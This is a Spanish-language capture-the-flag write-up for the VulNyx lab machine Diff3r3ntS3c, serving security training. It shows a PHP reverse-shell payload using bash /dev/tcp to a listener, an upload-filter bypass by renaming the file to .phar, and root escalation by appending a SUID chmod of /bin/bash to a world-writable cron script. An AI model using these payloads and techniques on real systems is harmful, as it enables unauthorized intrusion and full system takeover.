cd ~/blog

~/writeups/vulnyx/02-Diff3r3ntS3c.md

02 - Diff3r3ntS3c

low Linux vulnyx 08-04-2024
Unrestricted File Upload (phar bypass)Writable cron script Privesc
vulnyx.com

~1 min de lectura


Comenzamos con la enumeración de puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.56
 nmap -sCV -p80 -oN 02-targeted.txt 192.168.1.56
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-08 21:06 -04
Nmap scan report for 192.168.1.56
Host is up (0.00040s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Diff3r3ntS3c

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.54 seconds

Solo hay un servicio web expuesto. Enumeramos directorios y extensiones con gobuster:

 gobuster dir -u 'http://192.168.1.56' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,gif,png -r
...
/images               (Status: 200) [Size: 1195]
/index.html           (Status: 200) [Size: 5842]
/uploads              (Status: 200) [Size: 743]
/assets               (Status: 200) [Size: 1503]
/generic.html         (Status: 200) [Size: 2750]
/elements.html        (Status: 200) [Size: 16634]
...

En el sitio encontramos un formulario de contacto que permite subir archivos, y la existencia del directorio /uploads sugiere dónde quedan alojados. Preparamos un archivo PHP malicioso con una reverse shell e intentamos subirlo:

 cat reverse.php
<?php
  shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.10/1234 0>&1'");
?>

El servidor aplica un filtro por extensión y rechaza el .php:

This file looks malicious. Please do not try to hack us.

El filtro solo valida la extensión .php, así que renombramos el archivo a .phar —que Apache también interpreta como PHP— para evadir la validación:

 mv reverse.php reverse.phar
The file reverse.phar has been uploaded

Accedemos a /uploads, ejecutamos nuestra reverse shell, obtenemos acceso como candidate y la primera flag.

Para escalar privilegios, revisamos las tareas programadas del sistema en /etc/crontab:

candidate@Diff3r3ntS3c:/home/candidate$ cat /etc/crontab
...
* * * * * root /bin/sh /home/candidate/.scripts/makeBackup.sh
...

Hay un script que root ejecuta cada minuto. Comprobamos sus permisos:

candidate@Diff3r3ntS3c:/home/candidate$ ls -l /home/candidate/.scripts/makeBackup.sh
-rwxrwxrwx 1 candidate candidate 399 Mar 28 10:57 /home/candidate/.scripts/makeBackup.sh

El script tiene permisos de lectura, escritura y ejecución para todos, y lo ejecuta root. Esto abre varios vectores de ataque; nosotros optamos por inyectar una instrucción que asigne el bit SUID a /bin/bash:

candidate@Diff3r3ntS3c:/home/candidate$ echo 'chmod u+s /bin/bash' >> /home/candidate/.scripts/makeBackup.sh

Tras esperar a que la tarea se ejecute, comprobamos que /bin/bash ya tiene el bit SUID y lanzamos una shell privilegiada con -p:

candidate@Diff3r3ntS3c:/home/candidate$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1265648 Apr 23  2023 /bin/bash

candidate@Diff3r3ntS3c:/home/candidate$ bash -p
bash-5.2# whoami
root

Obtenemos nuestra flag y fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados